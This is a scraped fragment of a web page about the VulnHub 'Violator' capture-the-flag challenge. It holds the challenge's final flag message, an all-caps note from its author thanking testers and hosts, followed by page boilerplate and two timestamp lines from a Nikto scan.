ONEFINALCHALLENGEFORYOUBGHXCONGRATULATIONSFORTHEFOURTHTIMEONSNARFINGTHEFLAGONVIOLATORILLPRESUMEBYNOWYOULLKNOWWHATIWASLISTENINGTOWHENCREATINGTHISCTFIHAVEINCLUDEDTHINGSWHICHWEREDELIBERATLYAVOIDINGTHEOBVIOUSROUTEINTOKEEPYOUONYOURTOESANOTHERTHOUGHTTOPONDERISTHATBYABUSINGPERMISSIONSYOUAREALSOBYDEFINITIONAVIOLATORSHOUTOUTSAGAINTOVULNHUBFORHOSTINGAGREATLEARNINGTOOLASPECIALTHANKSGOESTOBENRANDGKNSBFORTESTINGANDTOGTMLKFORTHEOFFERTOHOSTTHECTFAGAINKNIGHTMARE

手机扫一扫

移动阅读更方便

你可能感兴趣的文章

Write-up-Violator

- Nikto v2.1.6

+ Start Time: 2018-08-06 08:16:20 (GMT8)

+ End Time: 2018-08-06 08:16:28 (GMT8) (8 seconds)